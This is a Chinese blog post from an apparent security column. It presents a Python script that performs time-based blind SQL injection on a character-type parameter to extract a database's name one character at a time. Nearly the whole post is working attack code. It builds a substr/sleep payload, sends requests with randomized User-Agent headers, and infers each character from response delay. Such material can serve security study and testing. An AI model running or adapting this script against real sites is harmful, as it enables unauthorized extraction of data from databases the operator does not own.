SQL注入代码实践（盲注-获取数据库名长度【字符型】）

原创已于 2022-08-20 18:49:12 修改 · 498 阅读

0 ·

CC 4.0 BY-SA版权

文章标签：

#python #开发语言

于 2022-08-20 18:44:23 首次发布

网络安全专栏收录该内容

9 篇文章

订阅专栏

该博客介绍了一个Python实现的字符型盲注检测工具。通过替换SQL语句中的特定字符，利用sleep函数延迟响应时间来判断数据库中是否存在目标字符串。工具使用了正则表达式进行字符串匹配，并通过HTTP请求进行注入测试，根据响应时间判断是否存在盲注漏洞。

# -*- coding: utf-8 -*-
"""
@Time ： 2022/4/4 16:22
@Auth ： zhangxiang
@File ：BlindInject_Str.py
@IDE ：PyCharm
@Motto：ABC(Always Be Coding)

"""
#字符型盲注取数据库名
from urllib import request
from urllib import parse
import re
import time
import sys
import random
from ua_info import ua_list

class BlindInject_Str(object):
    def __init__(self):
        pass
    def StartInject_Str(self,code,StrList,url,Length):
        for num in range(1, Length+1):
            url = url
            judgeStr = "%20and%20if(substr((select%20database()),changeNum,1)=%27replaceStr%27,sleep(2),1)%23"
            submitStr = "&submit=0x5375626D6974%23"
            pattern1 = r"changeNum"
            replace1 = str(num)
            FisWord = re.sub(pattern1, replace1, judgeStr)
            for x in code:
                Str = x
                word = FisWord + submitStr
                # 正则
                pattern2 = r"replaceStr"
                replace2 = Str
                SeWord = re.sub(pattern2, replace2, word)
                full_url = url + SeWord
                # print(full_url)
                # 2.发请求保存到本地
                headers = {'User-Agent':random.choice(ua_list)}
                startTime = time.time()
                req = request.Request(url=full_url, headers=headers)
                res = request.urlopen(req)
                endTime = time.time()
                allTime = endTime - startTime
                # print(allTime)
                if (allTime > 2):
                    print("*" * 200)
                    StrList.append(x)
                    print("得到盲注结果:" + str(StrList))
                    print("注入的payload：" + full_url)
                    print("使用的时间：" + str(allTime))
                    print("*" * 200)
                else:
                    pass
        return StrList